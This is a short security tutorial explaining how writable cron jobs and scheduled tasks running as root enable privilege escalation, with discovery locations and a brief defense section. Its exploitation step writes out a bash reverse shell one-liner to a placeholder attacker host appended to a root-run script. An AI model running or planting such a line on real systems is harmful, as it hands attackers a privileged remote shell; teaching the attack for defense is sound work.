Cron Job and Scheduled Task Exploitation
You'll learn how attackers escalate privileges by exploiting misconfigured scheduled tasks and writable cron jobs running with elevated permissions.
What Is This Attack?
On Linux/Unix systems, cron jobs are automated tasks scheduled to run at specific times. On Windows, scheduled tasks serve the same purpose. When these scripts or executables run as root (or SYSTEM/Administrator), they execute with full system privileges.
The vulnerability occurs when:
- A privileged scheduled task executes a script or binary you can modify
- The task doesn't properly validate what it's executing
- You gain the ability to inject malicious commands
Think of it like leaving your house keys with a cleaning service that arrives at 3 PM daily. If you give them a key to your house but they write down their entrance procedure on an unlocked notepad anyone can edit, someone could change "clean the kitchen" to "unlock the safe."
How Attackers Exploit This
Discovery Phase
Attackers enumerate cron jobs on Linux by checking:
/etc/crontab(system-wide)/var/spool/cron/crontabs/(user-specific)/etc/cron.d/,/etc/cron.daily/, etc.
On Windows, they query scheduled tasks with schtasks or inspect the Task Scheduler.
Exploitation
If a script like /usr/local/backup.sh runs as root every hour but is world-writable, an attacker simply modifies it:
echo "/bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1" >> /usr/local/backup.sh
When cron executes this script as root, the attacker receives a privileged reverse shell.
Defense
Always set proper permissions (chmod 700, owned by root) and use absolute paths in scripts to prevent PATH hijacking.
Key Takeaway: Writable scripts executed by privileged scheduled tasks are direct privilege escalation vectors—always verify ownership and permissions of automated job files.